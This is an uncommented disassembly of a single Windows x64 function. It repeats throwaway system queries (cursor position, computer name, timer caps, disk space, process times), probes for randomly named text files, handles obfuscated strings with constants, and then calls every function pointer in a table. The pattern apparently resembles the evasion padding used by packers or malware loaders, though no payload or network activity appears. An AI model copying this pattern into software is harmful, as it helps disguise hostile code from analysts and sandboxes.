lea rdx, str.gide
lea rcx, [rsp + 0x14b8]
call fcn.1400038c4
nop
lea rdx, [rsp + 0x14b8]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x2a8]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0x14b8]
call fcn.14000389c
lea rcx, [rsp + 0xcb8]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov dword [rsp + 0x4fc], 0x10
lea rdx, [rsp + 0x4fc]
lea rcx, [rsp + 0x1a18]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [rsp + 0xf0], 1
mov edx, 8
lea rcx, [rsp + 0x608]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x14006671b
mov eax, dword [rsp + 0x608]
mov dword [rsp + 0x440], eax
mov eax, dword [rsp + 0x60c]
mov dword [rsp + 0x444], eax
mov ecx, dword [rsp + 0xf0]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0xf0]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
lea rcx, [rsp + 0x1748]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea rcx, [rsp + 0xcc0]
call qword [sym.imp.USER32.dll_GetCursorPos]
lea rcx, [rsp + 0x1558]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea rcx, [rsp + 0x1568]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov dword [rsp + 0xf4], 1
mov edx, 8
lea rcx, [rsp + 0x610]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x1400667ab
mov eax, dword [rsp + 0x610]
mov dword [rsp + 0x448], eax
mov eax, dword [rsp + 0x614]
mov dword [rsp + 0x44c], eax
mov ecx, dword [rsp + 0xf4]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0xf4]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
mov dword [rsp + 0x4f8], 0x10
lea rdx, [rsp + 0x4f8]
lea rcx, [rsp + 0x1a38]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rcx, [rsp + 0x1578]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea r9, [rsp + 0xcc8]
lea r8, [rsp + 0xcd0]
lea rdx, [rsp + 0xcd8]
lea rcx, [0x14011b2a0]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov dword [rsp + 0xf8], 1
mov edx, 8
lea rcx, [rsp + 0x618]
call qword [sym.imp.WINMM.dll_timeGetDevCaps]
test eax, eax
jne 0x140066857
mov eax, dword [rsp + 0x618]
mov dword [rsp + 0x450], eax
mov eax, dword [rsp + 0x61c]
mov dword [rsp + 0x454], eax
mov ecx, dword [rsp + 0xf8]
call qword [sym.imp.WINMM.dll_timeBeginPeriod]
mov ecx, dword [rsp + 0xf8]
call qword [sym.imp.WINMM.dll_timeEndPeriod]
lea r9, [rsp + 0xce0]
lea r8, [rsp + 0xce8]
lea rdx, [rsp + 0xcf0]
lea rcx, [0x14011b2a8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea rcx, [rsp + 0xcf8]
call qword [sym.imp.USER32.dll_GetCursorPos]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x168], rax
cmp qword [rsp + 0x168], 0
je 0x1400668f4
lea rax, [rsp + 0xd00]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xd08]
lea r8, [rsp + 0xd10]
lea rdx, [rsp + 0xd18]
mov rcx, qword [rsp + 0x168]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x168]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.Fr6SZtC.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x300], rax
cmp qword [rsp + 0x300], 0xffffffffffffffff
je 0x140066949
mov rcx, qword [rsp + 0x300]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x4f4], 0x10
lea rdx, [rsp + 0x4f4]
lea rcx, [rsp + 0x1a58]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [rsp + 0x2c8], 0x2df654a1
lea rdx, [0x14011b298]
lea rcx, [rsp + 0x14d8]
call fcn.1400038c4
nop
lea rdx, [rsp + 0x14d8]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x2c8]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0x14d8]
call fcn.14000389c
mov dword [rsp + 0x4f0], 0x10
lea rdx, [rsp + 0x4f0]
lea rcx, [rsp + 0x1a78]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea r9, [rsp + 0xd20]
lea r8, [rsp + 0xd28]
lea rdx, [rsp + 0xd30]
lea rcx, [0x14011b2c0]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov dword [rsp + 0x2d8], 0xa5d861a
lea rdx, str.s7LGa0
lea rcx, [rsp + 0x14f8]
call fcn.1400038c4
lea rcx, [rsp + 0x14f8]
call fcn.14000a750
mov r8d, dword [rsp + 0x2d8]
mov rdx, rax
lea rcx, [0x14011b2b0]
call fcn.140015614
lea rcx, [rsp + 0x14f8]
call fcn.14000389c
lea rcx, [rsp + 0x1588]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov dword [rsp + 0x2dc], 0x85e17e2
lea rdx, str.YgwBy
lea rcx, [rsp + 0x1518]
call fcn.1400038c4
nop
lea rdx, [rsp + 0x1518]
lea rcx, [0x1401362a0]
call fcn.14004e420
mov edx, dword [rsp + 0x2dc]
mov rcx, rax
call fcn.14004b9ec
lea rdx, [0x14004e464]
mov rcx, rax
call fcn.14004bc24
nop
lea rcx, [rsp + 0x1518]
call fcn.14000389c
lea rcx, [rsp + 0xd38]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.mHUBwUp9p.txt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x308], rax
cmp qword [rsp + 0x308], 0xffffffffffffffff
je 0x140066b31
mov rcx, qword [rsp + 0x308]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x56a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
mov dword [rsp + 0x7c], 0
jmp 0x140066b59
mov eax, dword [rsp + 0x7c]
inc eax
mov dword [rsp + 0x7c], eax
movsxd rax, dword [rsp + 0x7c]
cmp rax, 0x400
jae 0x140066b82
movsxd rax, dword [rsp + 0x7c]
mov al, byte [rsp + rax + 0x56a0]
inc al
movsxd rcx, dword [rsp + 0x7c]
mov byte [rsp + rcx + 0x56a0], al
jmp 0x140066b4f
mov dword [rsp + 0xfc], 0x39aee61d
lea rdx, str.TEQkarBL
lea rcx, [rsp + 0x1538]
call fcn.1400038c4
lea rcx, [rsp + 0x1538]
call fcn.14000a750
mov r8d, dword [rsp + 0xfc]
mov rdx, rax
lea rcx, [0x14011b2d0]
call fcn.140015614
lea rcx, [rsp + 0x1538]
call fcn.14000389c
lea r9, [rsp + 0xd40]
lea r8, [rsp + 0xd48]
lea rdx, [rsp + 0xd50]
lea rcx, [0x14011b2d8]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov dword [rsp + 0x80], 0
jmp 0x140066c14
mov eax, dword [rsp + 0x80]
inc eax
mov dword [rsp + 0x80], eax
mov eax, dword [rsp + 0x5ac8]
cmp dword [rsp + 0x80], eax
jae 0x140066c38
mov eax, dword [rsp + 0x80]
mov rcx, qword [rsp + 0x5ac0]
call qword [rcx + rax*8]
jmp 0x140066c04
mov rcx, qword [rsp + 0x5aa0]
xor rcx, rsp
call fcn.1400d9310
add rsp, 0x5ab0
pop rdi
ret